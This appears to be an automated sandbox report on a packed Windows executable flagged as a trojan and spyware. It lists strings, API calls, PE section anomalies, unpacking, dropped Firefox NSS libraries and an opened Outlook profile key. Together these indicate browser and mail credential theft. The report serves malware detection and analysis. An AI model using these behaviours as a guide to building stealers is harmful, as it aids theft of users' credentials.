Source: FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2218051645.000000002F6EF000.00000004.00000020.00020000.00000000.sdmp, FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2218051645.000000002F6EF000.00000004.00000020.00020000.00000000.sdmp, FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0148119D	0_2_0148119D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D30FA	0_2_013D30FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CA8C9	0_2_013CA8C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0131B3AB	0_2_0131B3AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0137DBAD	0_2_0137DBAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CC39D	0_2_013CC39D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D4B9E	0_2_013D4B9E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138CBC6	0_2_0138CBC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CFA77	0_2_013CFA77
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C72F2	0_2_013C72F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D7F5C	0_2_013D7F5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F47E0	0_2_012F47E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C57EC	0_2_013C57EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01360625	0_2_01360625
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FC6AB	0_2_012FC6AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01458683	0_2_01458683
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01311EEC	0_2_01311EEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00FF45C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times

Source: file.exe, 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2298820089.000000006C8D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: aailmtrw ZLIB complexity 0.9950335639662756

Source: file.exe, 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2040507876.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01009600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_01009600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01003720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_01003720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\3JKEFGNK.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2296901782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2283883738.000000001D445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2298532813.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2296901782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2283883738.000000001D445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2298532813.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2296901782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2283883738.000000001D445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2298532813.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2296901782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2283883738.000000001D445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2298532813.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2296901782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2283883738.000000001D445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2298532813.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2296901782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2283883738.000000001D445000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2296901782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2283883738.000000001D445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2298532813.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2131214144.000000001D348000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2145609293.000000001D33B000.00000004.00000020.00020000.00000000.sdmp, HIDHIEGIIIECAKEBFBAA.0.dr, GHDBKJKJKKJDGDGDGIDG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2296901782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2283883738.000000001D445000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2296901782.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2283883738.000000001D445000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 52%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1902080 > 1048576

Source: file.exe

Static PE information: Raw size of aailmtrw is bigger than: 0x100000 < 0x1aa400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2298532813.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2298532813.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ff0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;aailmtrw:EW;lijrvapx:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;aailmtrw:EW;lijrvapx:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01009860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_01009860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1dc715 should be: 0x1d207a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: aailmtrw
Source: file.exe	Static PE information: section name: lijrvapx
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0140194E push 6FC2EA72h; mov dword ptr [esp], ebx	0_2_014019B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0140E957 push edi; mov dword ptr [esp], 1DBF9864h	0_2_0140E97B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0140E957 push ebp; mov dword ptr [esp], esi	0_2_0140E9BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0146E159 push 6925DEE6h; mov dword ptr [esp], esi	0_2_0146E180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0146E159 push 069B98BAh; mov dword ptr [esp], edx	0_2_0146E1B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0146E159 push 25FD376Fh; mov dword ptr [esp], edi	0_2_0146E264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0147B172 push eax; mov dword ptr [esp], esp	0_2_0147B1A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0144D109 push eax; mov dword ptr [esp], 07709009h	0_2_0144D170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0144D109 push edi; mov dword ptr [esp], eax	0_2_0144D1E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01488117 push esi; mov dword ptr [esp], 4CF03021h	0_2_01488147
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01488117 push 56C3EDC1h; mov dword ptr [esp], eax	0_2_01488175
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014F2132 push 3588C582h; mov dword ptr [esp], eax	0_2_014F2178
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014751D3 push ebx; mov dword ptr [esp], esp	0_2_01475219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014F29D9 push 1545AADBh; mov dword ptr [esp], ebx	0_2_014F2A79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014F29D9 push edx; mov dword ptr [esp], esi	0_2_014F2B3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014F09E4 push ebp; mov dword ptr [esp], ecx	0_2_014F0A0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014D0985 push edx; mov dword ptr [esp], esi	0_2_014D0CB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014D0985 push ebp; mov dword ptr [esp], edi	0_2_014D0CD1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0148119D push edi; mov dword ptr [esp], ecx	0_2_01481217
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014759BE push edx; mov dword ptr [esp], esi	0_2_014759E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014759BE push ebx; mov dword ptr [esp], edx	0_2_01475A5E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0147704E push ecx; mov dword ptr [esp], 39107519h	0_2_01477168
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0147704E push 7A5900EAh; mov dword ptr [esp], ebp	0_2_0147717F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0147704E push 1E514558h; mov dword ptr [esp], edi	0_2_014771D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01489041 push edx; mov dword ptr [esp], 5FFD876Bh	0_2_0148909A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0130702A push esi; mov dword ptr [esp], 225D20C2h	0_2_013070E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0148886B push 40D6468Ah; mov dword ptr [esp], edx	0_2_014888B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0148886B push esi; mov dword ptr [esp], ecx	0_2_014888F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100B035 push ecx; ret	0_2_0100B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01476005 push 26710362h; mov dword ptr [esp], ebx	0_2_0147600D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0147780F push ecx; mov dword ptr [esp], edx	0_2_01477813

Source: file.exe

Static PE information: section name: aailmtrw entropy: 7.954173498139099

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
